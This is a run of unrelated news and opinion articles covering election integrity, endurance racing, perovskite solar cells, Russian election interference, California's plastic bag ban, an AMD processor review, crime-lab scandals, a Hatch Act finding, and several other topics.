While New York City’s reaction is an extreme case, election officials in other parts of the country too often resist addressing systemic problems when they come to light. Adams couldn’t find a single case where election officials in the jurisdictions he examined recommended any illegal non-citizen voters for prosecution. “There can be a real reluctance to have dirty laundry aired,” former Minnesota secretary of state Mary Kiffmeyer tells me. But by actively thwarting legitimate efforts to improve election integrity and efficiency, officials will only undermine public confidence in the validity of the voting that is the cornerstone of our government.Larbre Competition had a difficult 2015 season with its Corvette C7R. Over the course of six races, the car never finished better than fourth in its category and even retired on two occasions, including the 24 Hours of Le Mans. Overall, the French team ranked seventh in the WEC LMGTE Am Championship. Nonetheless, team manager Jack Leconte still considered the prospect of engaging two Corvettes in the 2016 WEC, one in the LMGTE Pro category (possibly involving the Taylor family) and one in the LMGTE Am category. On February 6, the ACO revealed that Leconte will only have one Corvette C7R engaged in the LMGTE Am class of the WEC.
A brand new driver line-up will be at its wheel, including returning Gold-ranked driver Paolo Ruberti, Silver driver Pierre Ragues and Bronze driver Yutaka Yamagishi.
This will be Ruberti’s second consecutive season of with Larbre Competition. Ragues is also no stranger to the French team, as he raced their Morgan Nissan with Keiko Ihara and Ricky Taylor in the 24 Hours of Le Mans 2014.
“This season will mark my tenth season in endurance racing and my tenth participation in the 24 Hours of Le Mans,” says Ragues. “I started out in GT back in 2006. and I have since accumulated a great deal of experience alternating between LMP1 and LMP2. This year’s Le Mans will also be my tenth anniversary of taking part so it will be extra poignant.” Yamagishi is probably the least known of the three drivers yet he is no beginne, having driven for Ibanez Racing in the LMP2 category of the European Le Mans Series and in the 24 Hours of Le Mans last year. He also shows a solid GT background with a career in Japanese GT and several Le Mans drives in such cars as the Porsche 911 GT3 RS and the Lamborghini Murcielago R-GT.
Leconte still believes that he stands a significant chance of entering a Corvette in the LMGTE Pro category in the near future. “As well as playing the leading role in the LMGTE Am class, our drivers and team personnel will also be laying the foundations for a 2017 LMGTE Pro program, ” he says. ”Even with limited funding for LMGTE Pro, we’re sure that the Corvette’s reliability would’ve allowed us to beat Ford’s armada as early as this year. The recent Daytona 24 Hours proved this with a superb 1-2 finish for Corvette. I’m convinced that it’s a missed opportunity, but hopefully it’s only a matter of time!”
Mat Fernandez (@matlemans)ger,eng
2017/01/24
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Foundation for new type of solar cell
Using hot polarons to harvest sunlight
An interdisciplinary team of researchers has laid the foundations for an entirely new type of photovoltaic cell. In this new method, infrared radiation is converted into electrical energy using a different mechanism from that found in conventional solar cells. The mechanism behind the new solid-state solar cell made of the mineral perovskite relies on so-called polaron excitations, which combine the excitation of electrons and vibrations of the crystal lattice. The scientists from the research groups of Prof. Christian Jooss at the University of Göttingen, Prof. Simone Techert, Leading Scientist at DESY, Professor at the University of Göttingen and head of a research group at the Max Planck Institute for biophysical Chemistry in Göttingen, and Prof. Peter Blöchl at the Technical University of Clausthal-Zellerfeld present their work in the journal Advanced Energy Materials.
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An experimental polaron solar cell in the lab. Credit: Dirk Raiser, MPIbC/DESY An experimental polaron solar cell in the lab. Credit: Dirk Raiser, MPIbC/DESY
“In conventional solar cells, the interaction between the electrons and the lattice vibrations can lead to unwanted losses, causing substantial problems, whereas the polaron excitations in the perovskite solar cell can be created with a fractal structure at certain operating temperatures and last long enough for a pronounced photovoltaic effect to occur,” explains the main author of the paper, Dirk Raiser, from the Max Planck Institute for Biophysical Chemistry in Göttingen and DESY. “This requires the charges to be in an ordered ground state, however, corresponding to a sort of crystallisation of the charges, which therefore allows strong cooperative interactions to occur between the polarons.”
The perovskite solar cells studied by the team had to be cooled in the laboratory to around minus 35 degrees Celsius, in order for the effect to take place. If this effect is to be used in practical applications, it will be necessary to produce ordered polaron states at higher temperatures. “The measurements so far were made in a carefully characterised reference material, in order to demonstrate the principle of the effect. For this purpose, the low transition temperature was accepted,” explains co-author Techert.
Material physicists at Göttingen are trying to modify and optimise the material in order to achieve a higher operating temperature. “Also, we might be able to achieve the cooperative state temporarily through the cunning use of additional light to produce the excitation,” says Techert. If one of these strategies proves successful, future solar cells or photochemical energy sources could be made using perovskite oxide compounds, of which an abundant supply exists.
“Developing high efficiency and simply constructed solid-state solar cells is still a scientific challenge which many teams around the world are working on, in order to ensure the future of our energy supply,” emphasises the research director Christian Jooss. “In addition to optimising the material and the design of existing solar cells, this also involves exploring new, fundamental mechanisms of light-induced charge transport and conversion into electrical energy. This should allow us to develop solar cells based on new operating principles.”
This is precisely what the interdisciplinary team of material physicists, theoretical physicists, chemical physicists and X-ray physicists has now achieved within the collaborative research centre SFB 1073 for “Atomic-Scale Control of Energy Conversion” in Göttingen. A key factor in studying the new principle of solar cell operation was the ultra-fast methods of optical and structural analysis that were used in the current as well as in earlier work on this topic.
“Measuring dynamic processes in molecular units, like in the molecular movie approach, calls for the use of brilliant and ultra-fast X-ray sources, such as PETRA III at DESY or the European Free-Electron Laser, European XFEL, which goes into operation this year,” emphasises Techert. “Examinations like these, some of which were already used in the current study, lead to a new level of understanding of charge transfer processes, which in turn makes possible new solar cell functions.”
The work was carried out by research scientists at the University of Göttingen, the Max Planck Institute for Biophysical Chemistry, the Technical University of Clausthal-Zellerfeld and DESY.
Reference:
Evolution of hot polaron states with a nanosecond lifetime in manganite; D. Raiser, S. Mildner, B. Ifland, M. Sotoudeh, P. Blöchl, S. Techert, Ch. Jooss; Advanced Energy Materials, 2017; DOI: 10.1002/aenm.201602174The Washington Post has a comprehensive report on Russian electoral interference and the Obama Administration’s attempt to handle it without unduly interfering with the US election.
In political terms, Russia’s interference was the crime of the century, an unprecedented and largely successful destabilizing attack on American democracy. It was a case that took almost no time to solve, traced to the Kremlin through cyber-forensics and intelligence on Putin’s involvement. And yet, because of the divergent ways Obama and Trump have handled the matter, Moscow appears unlikely to face proportionate consequences. Those closest to Obama defend the administration’s response to Russia’s meddling. They note that by August it was too late to prevent the transfer to WikiLeaks and other groups of the troves of emails that would spill out in the ensuing months. They believe that a series of warnings — including one that Obama delivered to Putin in September — prompted Moscow to abandon any plans of further aggression, such as sabotage of U.S. voting systems. Denis McDonough, who served as Obama’s chief of staff, said that the administration regarded Russia’s interference as an attack on the “heart of our system.” “We set out from a first-order principle that required us to defend the integrity of the vote,” McDonough said in an interview. “Importantly, we did that. It’s also important to establish what happened and what they attempted to do so as to ensure that we take the steps necessary to stop it from happening again.” But other administration officials look back on the Russia period with remorse. “It is the hardest thing about my entire time in government to defend,” said a former senior Obama administration official involved in White House deliberations on Russia. “I feel like we sort of choked.”
You need to read the report now. And then take a look at Thomas Rid’s series of Tweets on the cyber side of the equation.
Impressive 8,000+ words investigative story on Russian election interference, with previously unreported details https://t.co/41SuZjhNjP — Thomas Rid (@RidT) June 23, 2017
To the extent that the report is accurate, it reinforces a number of important domestic and international political themes.
First, Moscow clearly believed that electing Trump, or at least weakening Clinton and faith in the US electoral system, served Russian interests. Of course, we already know this. But the length’s that Moscow was willing to, including tampering with the mechanics of the election process, should remove any doubts about the seriousness of the situation. For scholars and analysts, this means waking up to the degree that power politics are about far more than military and economic interests. But in terms of immediate US national interests, it highlights just how damaging Trump’s dispositions are to American security.
The reasons why Moscow preferred Trump over Clinton, and saw even a continuation of Obama foreign policy as a threat, are rooted in a desire to destabilize institutions and arrangements that have overall served the United States, and its allies, very well. It’s easy to dismiss the #neverTrump wing of the Republican foreign-policy establishment as neoconservatives overly prone to military adventures—because it’s generally true. But where neoconservatives, liberal hawks, and progressives should agree is in the desirability of the basic infrastructure—however in need of reform—of the liberal order.
Second, it should not require much elaboration to note the insanity of far-right fantasies concerning the Obama administration’s willingness to manipulate the political process in ways that undermine democracy. Ample evidence, even before the details of this story (again, if true), suggests that Obama and his advisors were far too cautious—and too concerned wth not putting their thumbs on the scale.
Third, we are facing a national emergency when it comes to the electoral process. The Obama Administration believes that it deterred much worse than classic information warfare. What will a Trump administration do? So far, they are attempting to weaken the sanctions voted on by the Senate. This should not bring comfort.
At risk of stating the obvious: the punishment didn’t fit the crime because the beneficiaries of the crime get to decide on the punishment. pic.twitter.com/GbzdKPIVdi — Ken Schultz (@KSchultz3580) June 23, 2017
This goes far beyond coercive diplomacy. We can’t ‘slow walk’ the investigation into electoral meddling, and we need to throw serious resources behind electoral integrity measures designed, first and foremost, to secure the voting system. My gut instinct: this requires moving to paper ballots and rethinking how we secure voter rolls.
The second concern is how to cope with Russian information warfare. Here, the GOP is stuck in a political, but not a moral, vise. The marriage between right-wing media and foreign information warfare—both in form and content—serves Republican interests. It helped, at least at the margins, elect Donald Trump. But don’t think that the left doesn’t—or won’t—face a similar problem. We already saw this surrounding the Clinton-Sanders primary battle. In an era of intense political polarization, it’s going to be very hard to push back against disinformation that proves electorally useful. Over twenty years of embracing domestic disinformation laid the groundwork for extreme vulnerability.
Fourth, what does this mean for progressive policy toward Russia? I’ve spent many years trying to navigate between, on the one hand, a clear-eyed assessment of the clash between American and Russian interests and, on the other hand, a strong desire to avoid a new “Cold War.” When I volunteered as part of the unofficial Sanders foreign-policy cell, the course seemed clear: our bright line should be NATO allies. Regardless of whether NATO expansion was a good idea, the United States has an overriding interest in the security of our NATO partners. Ukraine, for its part, required a balancing act. Again, regardless of American mistakes, we needed a calibrated approach that did not recognize the legitimacy of, or facilitate, Russian efforts in Ukraine while also keeping in mind that Ukraine is not worth war with Russia. So, when it looked like Clinton would win the election, this meant progressives needed to prepare themselves for criticizing overly aggressive moves by a future Clinton administration.
Now, I just don’t know. I still worry about the risks of pushing the geostrategic relationship in overly confrontational ways. Indeed, the Trump administration seems to be sleepwalking into very dangerous territory in Syria, behaving schizophrenically toward NATO, and sending rather mixed signals about the overall relationship, This lack of obvious policy coordination at work here—and overall ambiguity it creates in the relationship—might prove the most dangerous of the possible approaches. It creates very significant risks of miscalculation. But it’s clear that the default position among too many progressives—of dismissing attention to Russia’s role in 2016 as ‘McCarthyism’, or seeing it purely through the lens of left-liberal policy fights—is hopelessly naïve.
I hate to be that person, but this is my bottom line: it’s all bad.California is poised to become the first U.S. state to ban single-use plastic bags after Governor Jerry Brown said Thursday that he expected to sign a bill nixing their use.
The legislation — which would oust single-use plastic bags from grocery stores and pharmacies in 2015, as well as from convenience and liquor stores a year later — is similar to laws on the books in more than 100 California municipalities, including San Francisco and Los Angeles, as well as in individual towns and cities across the U.S.
Like those municipal laws, the California bill also authorizes stores to levy a $.10 charge on paper or reusable bags. In addition, it extends some $2 million in loans to plastic-bag manufacturers in an effort to soften those factories’ shift toward producing reusable bags.
American environmentalists and lawmakers have seized on banning non-biodegradable bags as a way to cut down on waste and clean up the country’s waters. But bag manufacturers have lobbied fiercely against such measures, warning that as bags disappear, so do the jobs in their factories.
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Brown has until the end of September to sign the bill, passed by state lawmakers in a 22-to-15 vote last week.
“I probably will sign it, yes,” said the Democrat on Thursday evening, during a televised debate with his Republican rival Neel Kashkari, who is challenging Brown in the Nov. 4 gubernatorial election, the Los Angeles Times reports. “This is a compromise. It’s taking into account the needs of the environment, and the needs of the economy and the needs of the grocers.”
Republicans in California’s legislature had opposed the bill, calling it unwarranted government involvement in local business, as well as a burden to job-creating manufacturers.
Kashkari — who trails the incumbent Brown by 50% to 34% in recent polling — said in the Thursday debate that there was “no chance” he would sign the bill.
Contact us at editors@time.com.Rating: 8.5.
1. Introduction 2. The AMD A10-6790K APU 3. Testing Methodology and Overclocking 4. Synthetic: PCMark 8 5. Synthetic: 3DMark 6. Synthetic: 3Dmark 11 7. Synthetic: 3DMark Vantage 8. Synthetic: Unigine Heaven 9. Synthetic: SiSoft Sandra 2013 10. Synthetic: Cinebench R11.5 11. Synthetic: Cinebench R15 12. Synthetic: Super Pi 13. Real World: WinRAR 14. Real World: MKV Playback 15. Real World: Media Encoding 16. Gaming: Battlefield 4 17. Gaming: Call of Duty Black Ops 2 18. Gaming: DiRT Showdown 19. Technical: Power Consumption 20. Closing Thoughts 21. View All Pages
Today we are going to take a look at the latest product in AMD’s APU line-up, the Vision A10-6790K. This is positioned just below the A10-6800K that we looked at a few months back and offers users almost as much power for slightly less money. We were impressed with the A10-6800K when we looked at it back in June, and we look forward to seeing if this new model is as competitive.
AMD’s line of APUs are pretty competitive at the low end of the market. In this particular review, we are going to compare the A10-6790K with one of Intel’s least powerful Core-i5 desktop chips, the i5-4430.
The fact that the A10-6790K is one of the most powerful models in AMD’s APU lineup shows how this range compares against Intel’s line-up.
While AMD hasn’t been able to compete with Intel at the top end of the market for a good few years now, this particular APU has a number of distinct advantages over Intel’s. One of the most significant advantages is represented by the ‘K’ suffix at the end of the A10-6790K’s name. This denotes that this APU is completely unlocked, giving us a wide range of overclocking options.
Also, the AMD Radeon integrated graphics are widely regarded as superior to Intel’s integrated graphics. This is great for those users who don’t want to invest in a discrete graphics card but want to enjoy some of the benefits.
In this review we will be focusing on the performance of the AMD A10-6790K compared to the Intel Core i5-4430.Here at the shebeen, we've been keeping a weather eye on the case of Annie Dookhan, the former chemist at the state crime laboratory here in the Commonwealth (God save it!) who went to jail for fudging her results in such a way that they consistently favored the prosecution, and thus tainted somewhere north of 40,000 cases. She was a defense attorney's worst nightmare who became an appeals judge's worst nightmare. Believe it or not, Annie got out of the sneezer a month ago. (Most of her victims served more than the brief time Dookhan spent in stir.)
And believe it or not, another case has emerged which, according to The Boston Globe, is in certain ways even worse.
Investigators for the attorney general's office found that chemist Sonja Farak had tested drug samples or testified in court between about 2005 and 2013 while under the influence of meth, ketamine, cocaine, LSD, and other drugs, according to the report, much of which is based on Farak's own grand jury testimony. She even smoked crack before a 2012 interview with State Police officials inspecting the lab for accreditation purposes, she testified.
This woman was tripping when she tested drug samples and when she helped prosecutors in court send drug offenders away for God alone knows how long. And this wasn't in the usual Wollaston Boulevard sense of, "That cop that stopped me for that pound of meth on my lap was trippin', bro." Ms. Farak actually was on LSD while she was running her lab station. I'm surprised she didn't try to marry her spectrometer. But nothing can stop our implacable drug warriors from fighting this scourge upon the land.
"Anything that went through that lab while she was there is in question," said Anthony Benedetti, chief counsel of the Committee for Public Counsel Services. "It's too soon to know how many, but it clearly is in the thousands." Defense attorneys have pointed to Farak's alleged misdeeds for more than a year, suggesting they were more widespread than law enforcement officials believed. Tuesday's report provides the most detailed public portrait of her activities.
Yeah, who cares what those bleeding hearts think anyway?
Farak was arrested in January 2013 after a coworker discovered missing drug samples. She pleaded guilty in Hampshire Superior Court in early 2014 to four counts of tampering with evidence, four counts of stealing cocaine from the lab, and two counts of unlawful possession of cocaine, and was sentenced to 18 months behind bars.
In case you were wondering, the sentencing guidelines for simple possession of cocaine in Massachusetts recommend one-to-two years in jail, depending on the amount with which you get busted. This woman was found guilty of that, and of corrupting the criminal justice system, and of stealing the cocaine found in her possession, and of cooking up crack in her state lab after hours. She got 18 months. That's a pretty sweet deal. Why do I think something's getting buried here?
The newly released investigation was prompted by a ruling from the state Supreme Judicial Court last April, which said top state law enforcement officials failed to fully investigate how many times Farak tampered with drug evidence after her arrest in 2013. "This is a statewide problem," said attorney Luke Ryan, who helped bring the scope of Farak's drug use and evidence tampering to light, and who represents several defendants whose samples purportedly were tested by Farak. "The fact that we're doing this in 2016 instead of 2013 makes the job so much harder.... The chances of people falling through the cracks really increases."
Oh, that's why.
We are in the middle now of another drug frenzy, this one over the very real problem of opioid abuse. This time, for a number of reasons, including the racial demographic of the affected populations, it is so far being treated in our politics as a public health crisis, thank the Lord. But the cases of Annie Dookhan and Sonja Farak once again reveal the garish flaws of our "war" on other drugs. Suspicion without proof. Searches without warrant. Ludicrous over-sentencing and, up and down the line in the criminal justice system, pressure to produce convictions that is so overwhelming—and, it should be said, so professionally advantageous—that people feel compelled to put both their thumbs on the scale. Country's been trippin', bro.
Click here to respond to this post on the official Esquire Politics Facebook page.Housing and Urban Development (HUD) Secretary Julián Castro violated a law that prohibits federal employees from making personal political statements while appearing in an official capacity, according to a new report.
The U.S. Office of Special Counsel (OSC) released a report on Monday concluding that Castro, considered a possible running mate for presumptive Democratic presidential nominee Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE, violated the Hatch Act during a Yahoo News interview with Katie Couric on April 4 by sharing his views of the presidential candidates.
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“Secretary Castro’s statements during the interview impermissibly mixed his personal political views with official agency business, despite his efforts to clarify that some answers were being given in his personal capacity,” the OSC report said.
The 41-year-old, who has been a rising Democratic star since his rousing speech at the 2012 Democratic National Convention, sat down with Clinton last week in Washington as she narrows her search for a running mate.
Federal employees are allowed to make political remarks when speaking in their personal capacity, but not when using their official title or when speaking about agency business.
During the interview, Castro discussed HUD programs, professed his support for Clinton and called presumptive GOP nominee Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE unprepared to be president.
Castro spoke to Couric in HUD’s broadcast studio in Washington with the official HUD seal visible behind him.
The OSC report noted that Castro stated that he never intended to violate, or to be perceived as violating, any federal law.
At one point, Castro said: "Now taking off my HUD hat for a second and just speaking individually, it is very clear that Hillary Clinton is the most experienced, thoughtful and prepared candidate for president that we have this year.”
He touted her accomplishments as secretary of State, and then criticized the Republican Party's candidates for the White House, the report said.
Castro acknowledged that his segue from a personal to a professional capacity wasn't clear.
"My aim was to make clear to anyone viewing the broadcast that, when answering those direct questions regarding candidates, I was not acting in my official capacity," he said in the report.
"I now have watched the recording of the interview and appreciate that, while my intention was to avoid any blurring of roles and make clear that I was not speaking as a representative of HUD, that fact may not have been obvious to viewers."
Castro wrote in his letter to the independent federal agency, "When an error is made — even an inadvertent one — the error should be acknowledged.
"Although it was not my intent, I made one here."
He added: "I now understand that the mixed-topic interview, even with a proviso, is problematic."
The report and Castro’s response were sent to President Obama on Monday, the OSC said.
The OSC said it conducted an investigation after receiving a complaint about the interview but didn’t shed light on who noted Castro’s mistake.
Because Castro acknowledged the mistake, no additional action is expected.Photo: Facebook / First Baptist Church of Christ
After what was described by pastors and deacons of First Baptist Church of Christ in Macon, Georgia as an “exhausting journey,” members of the congregation can now participate in same-sex marriage.
Founded in 1826, one of the longest-running congregations in the city has decided to go against the conservative Southern Baptist Convention (SBC) and extend their policies to include gay marriage.
The SBC has strict guidelines when it comes to same-sex relationships in the church. Members are prohibited from practicing or celebrating any form of gay marriage.
On August 27, a “secret ballot” that consisted of 230 members voted at the Macon church and more than 70 percent voted to accept same-sex marriage.
However, as Pastor Scott Dickison points out, the road to get to where they are was not an easy one.
“We had talked about this subject in hushed tones for so long that it was difficult to make the discussion formal,” the pastor told the Washington Post. “We reminded ourselves why we listen to Scripture in the first place: not to be a battleground, but to bring us together.”
Despite members leaving the church preceding the congregation’s actions, the pastor stands by their decision and thinks the vote shines light on who they are as a community.
“We’ve learned about each other and who we are as a congregation; what binds us together, as well as the differences among us,” the pastor wrote in a blog post. “Of course, all of this came to a head on Sunday with our vote. It has been a remarkable journey, and one that has left us with some tenderness. But I’m proud of where we’ve come together.”The mother told the court her son was "exaggerating" A man is suing his mother over her alleged failure to protect him from his father's beatings. The 32-year-old County Durham man, who cannot be identified, told the High Court in London that his mother, now in her late 60s, assaulted him herself. He claimed that she aided and abetted daily punishment by her husband by reporting her son's wrongdoings. His mother denied liability and has claimed the case was brought outside the legal time limit. The man, who was brought up in west London, claimed he was assaulted up to four times a day between the ages of five and 19 by the father he called a "tormentor". He said he was hit with a stick, belt, electrical lead or wooden brush until he was 16 and struck with an open hand and throttled or choked as he got older. 'Reasonable chastisement' His mother said her son was "exaggerating". She did agree that she slapped him occasionally but said it was "reasonable chastisement" and denied hitting him with a clothes brush. The son said in court: "I saw that she did not like me and it led me to think that her primary concern in seeking help was to make her home life run more smoothly and not the welfare of myself or my siblings. "I wouldn't say my mother had done her best to protect me. I always felt she could have done more. "She wasn't a tormentor like my father was, continually looking for excuses to assault me. "For the best part of it she was herself fairly harmless." The man is seeking damages for pain and suffering as well as £7,800 to pay for therapy. He claimed he first consulted a solicitor 10 years ago but did not take action as he found ordinary life a struggle.
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leverage. Obama will need the women who have been so loyal to Clinton in his battle against McCain. This will inspire him to treat her kindly—no sending her on a monthlong tour of small-town gun shows. But that doesn’t mean his supporters now have to support her when she runs again in 2012 or beyond, and they’re the ones Clinton will need to court.The burden imposed by criminal justice debts can linger for decades. IPGGutenbergUKLtd/Thinkstock
When David Silva returned in 2006 from serving 38 months in New Jersey state prison for offenses related to his substance abuse, he faced more than $35,000 in debt. He didn’t owe this money to private creditors; he was in debt to the government for his prosecutions and stints in prison. Silva’s debts for “use” of the criminal justice system included public defender fees, various surcharges that went to things such as police uniforms and drug-use prevention, and probation supervision fees, as well as restitution and fines. Silva’s debts also included about $10,000 for substance abuse treatment he received in prison. Though he was working full-time when he got out, the amounts owed were crushing and were a barrier to meeting his basic needs. His debt also precluded him from getting a driver’s license, which only made it harder for him to get back on his feet. Silva ultimately filed for bankruptcy.
This path from prison to bankruptcy is all too common. As policymakers across the country increasingly move toward rethinking mass incarceration, the excessive costs imposed on criminal defendants remain roadblocks to people seeking to transition back to their communities.
Even a decade after Silva left prison—and on the other side of bankruptcy proceedings—the burden imposed by criminal justice debts lingers. His efforts to move out of his old neighborhood to a community with lower crime rates was for years stymied by landlords who balked at his credit report. When he could finally obtain a car loan, he paid an inordinately high interest rate due to his debts.
Silva’s experience highlights an increasingly fundamental fact about encounters with the criminal justice system: long after a formal sentence ends, the punishment continues. As his story shows, a criminal sentence is no longer a singular penalty pronounced by a judge as a proportionate response to a criminal conviction. These convictions often spark a cascade of economic consequences that persist for years after the formal sentence is over and threaten a person’s ability to successfully and self-sufficiently re-enter society. These debts force individuals to navigate a maze of onerous systems and actors—criminal courts and prisons, but also private debt collectors, DMVs, credit reporting companies, and bankruptcy courts.
As the country saw in Ferguson, Missouri, these types of financial punishments can also have a pernicious influence on the policing of communities: They incentivize law enforcement agencies to focus their policing tactics on raising revenue. This is what happened in Ferguson, and because those revenue-raising practices targeted black residents, they contributed to a fundamental breakdown of trust between police and community. Ferguson presents an especially stark example, but it is not unique—such methods distort criminal justice practices across the country.
To meaningfully rein in the thicket of financial obligations ensnaring people like Silva, advocates and policymakers will need to take a global approach to reform. Our organizations recently proposed such an all-hands-on-deck approach to tackle this problem. We focus on two avenues for reform: flooding the courts with advocates who can mount creative legal arguments to protect individual clients from the harms of criminal justice debt now and equipping advocates and policymakers to fundamentally reform the systems that have led to abusive practices.
More attorneys—including civil legal aid attorneys—are needed to represent poor clients facing unlawful imposition and collection of criminal justice debt and to help people navigate the maze of court proceedings—like contempt, garnishment, remission, and bankruptcy—that may occur long after a criminal sentence. These litigators should be drawing from a broad reservoir of potential legal arguments, including claims rooted in constitutional, consumer protection, bankruptcy, and anti-discrimination law.
Utilizing all existing legal tools is crucial, but reformers should also be looking to more systemic change. As a start, criminal justice debt policies should be revised to dramatically reduce the number of financial obligations imposed—for example, by rejecting the proposition that the legal system should be funded by “user fees” imposed on a small (often poor) subset of the community. Policy reform should also aggressively displace the streams of revenue that tie budgets of police departments and courts to the outcomes of criminal cases, leading to conflicts of interest. Individuals should enjoy robust procedural protections to ensure that they are not saddled with debt they can’t afford or are punished for failing to pay impossible sums, and courts should be equipped with workable alternatives, such as well-designed community service programs, for individuals too poor to pay. Finally, the whole system needs to become significantly more transparent so that defendants can navigate it more effectively and citizens can understand and criticize it—including by better understanding rates of racial disparities.
There are promising signs that stakeholders are coming together to devise these types of solutions. In March, the Justice Department sent a letter to every state court chief justice and chief court administrator in the country urging them to convene stakeholders throughout the justice system to ensure adherence to basic constitutional norms when imposing and enforcing court debt. Judicial systems in Arizona, Illinois, and Missouri have all recently acted to do so. Other states should follow their lead. When they do, they should convene a broad set of actors—including experts in criminal law, civil rights, consumer law, and poverty law. And in developing reforms, the proposals discussed above, and in more detail in our Confronting Criminal Justice Debt guides, would be a good starting place.
It has taken Silva a decade since regaining his physical liberty to begin to free himself from the burdens of court debt. His perseverance is inspiring, but his experience is dispiriting: It illustrates the long slog that we ask our returning citizens to make in attempting to regain their footing. Extending punishment beyond a sentence’s expiration is unfair; it is also counterproductive. It is time for judges and policymakers throughout the system to dismantle the elaborate machinery whose main function is setting people up to fail.Back in 2013, People crowned moist the “most cringeworthy word” and aimed to see if a slew of sexy men uttering the adjective would change anyone’s mind. Evidently, it didn’t have the desired effect because a new study published in PLOS ONE found that “10–20% of the population is averse to the word ‘moist.’”
If you’ve ever dropped the word “moist” in a conversation, then you’ve probably seen the “cringeworthy” effects firsthand. But… why? What about this word makes people malfunction? According to Oberlin Professor Paul Thibodeau (the study’s author), it all has to do with hidden meaning.
Over the course of five separate experiments featuring 2,400 participants, Professor Thibodeau aimed to figure out exactly why moist can act as lingual kryptonite. The first experiment had volunteers judge words similar to moist and those that also induce disgust. Experiment #2 and #3 measured word aversion by having those involved participate in free association and surprise recall tasks. Thibodeau explains, “Moist-averse participants should also be more likely to recall having rated the word in a surprise recall task if it has a stronger emotional valence for them.”
As for the fourth and fifth experiments, participants were tested to see how they could become averse to “moist”– whether it be socially, via conscious deliberation, or both. Professor Thibodeau writes, “People may report an aversion to ‘moist’ because they are conforming to a social norm and/or because, after careful thought, it seems to have phonological properties or semantic associations that make it unpleasant…” One volunteer stated that they didn’t think the word was weird until they heard others saying it was. It then began to bother them as well.
As for the results, it was discovered that people habitually dislike the word “moist” because they often associate it with unpleasant bodily functions. Because of this connotation, one can’t help but flinch or grimace every time they hear this five-letter word. It may also have to do with social pressure to find moist unpleasant and even using certain facial muscles representing disgust could be involved.
What’s perhaps most interesting is that being a young, educated, “more neurotic” person, according to Thibodeau, makes one more likely to dislike a word such as moist. When compared to males, females are also more inclined to divulge a distaste for this word.
In the end, it isn’t moist’s fault. Instead, we should be blaming ourselves for partaking in some weird word association.CLOSE A small group of Arizona State students pose as University of Arizona students, who want to give The U of A back to Mexico.
ASU students pulled off a prank at Arizona. (Photo: Ben Kaufman)
Arizona State takes on Arizona in the Territorial Cup game on Saturday, so of course, a group of ASU students got in the spirit of the rivalry.
In a YouTube video posted by Ben Kaufman, the ASU students traveled to Tucson and posed as Arizona students to pull off a prank.
They came up with a fake proposition, called "Proposition 200," which would send the University of Arizona back to Mexico. The students had charts, a whiteboard and played it all off like it was a legitimate political movement. Along with giving the university to Mexico, "Prop 200" would allow Mexican citizens attending UA to pay in-state tuition.
The Prop 200 that pranksters referred to was the 1958 proposition that changed the name of Arizona State College to Arizona State University.
It worked so well that the Arizona student paper, The Daily Wildcat, posted a story that presented the prank as legitimate. The article was deleted but appears in an archived screenshot.
Check out the article that @dailywildcat deleted today....https://t.co/ylnWPZqi0k — Ben Kaufman (@BKtwittasphere) November 18, 2015
I mean, they did have pamphlets and a QR code (woo! 2012 technology). That seems like a lot of work for a completely fake movement.
Daily Wildcat deleted the story on its website, but the Internet lives forever. Page 7. https://t.co/KJBYxOFWsypic.twitter.com/27l1yNPQk2 — Justin Janssen (@JJanssen11) November 18, 2015
But alas, the prank worked.
Even if their spelling could use some work ("sceptical"), it was a solid prank. It was a lot more original (and less destructive) than painting letters on a mountain.
For more from The Heat Index, go to heatindex.azcentral.com.U.S. Ambassador to the United Nations Samantha Power during a hearing of the House Foreign Relations Committee on Wednesday on Capitol Hill. Brendan Smialowski//AFP/Getty Images
The U.S. ambassador to the United Nations on Tuesday refused to categorically say if the U.S. would veto a potential Security Council resolution calling for the establishment of a Palestinian state, prompting concern from congressional lawmakers over the Obama administration's continuing commitment to Israel.
Asked directly during a House Foreign Affairs Committee hearing whether the U.S. would exercise its veto power to turn back such a resolution, Samantha Power was noncommital.
"I really am going to resist making blanket declarations on hypothetical resolutions. Our position, again, I think has been very clear for some time," Power said, when pressed on the issue. "I have said, again, we would oppose anything that was designed to punish Israel or undermine Israel's security. But I think, again, it's perilous. There's no resolution in front of us."
The lack of a firm answer prompted concern from several members of the committee from both sides of the aisle amid a rocky relationship between President Barack Obama and Israeli Prime Minister Benjamin Netanyahu. The two leaders have publicly disagreed regarding how to approach a peace process and over ongoing nuclear negotiations with Iran, which Netanyahu vehemently opposes.
Obama said in a recent interview with an Israeli television station the U.S. will have to re-evaluate "how we approach defending Israel on the international stage around the Palestinian issue."
"I understand that this re-evaluation will not affect our security relationship with Israel. The president made that clear," said Rep. Eliot Engel of New York, the ranking Democrat on the committee. "But, frankly, those remarks are troubling. Re-evaluating the way we defend Israel on the international stage could have ominous consequences, and it is obviously very concerning for those of us that seek to strengthen the U.S.-Israel relationship."
The U.S. is a steadfast ally of Israel's, but questions continue from both Democrats and Republicans as well as diplomats regarding the Obama administration's support.
Former Israeli Ambassador to the U.S. Michael Oren wrote in a Wall Street Journal op-ed on Tuesday that Obama has made mistakes in the Israeli-U.S. relationship "deliberately" and that he was responsible for abandoning two core principles of the alliance: no public disagreements and no surprises.
"The past six years have seen successive crises in U.S.-Israeli relations, and there is a need to set the record straight. But the greater need is to ensure a future of minimal mistakes and prevent further erosion of our vital alliance," Oren wrote. "Israel has no alternative to America as a source of security aid, diplomatic backing and overwhelming popular support. The U.S. has no substitute for the state that, though small, remains democratic, militarily and technologically robust, strategically located and unreservedly pro-American."
Power's remarks come amid renewed international frustration even from staunch U.S. allies with the lack of progress in the decades-old peace process. France and Great Britain as recently as April urged the Security Council to establish a framework for an agreement.
The ambassador on Tuesday emphasized that the U.S. has regularly supported and protected Israel from actions in the U.N. In December, the U.S. rallied support in the Security Council against what Power called a "deeply unbalanced" resolution introduced by Jordan that would have imposed a timeline on an Israeli-Palestinian peace agreement and required Israeli withdrawal from occupied territories. U.S. officials ensured that supporters of the resolution would fall short in a Security Council vote, sparing Power from having to exercise America's veto.
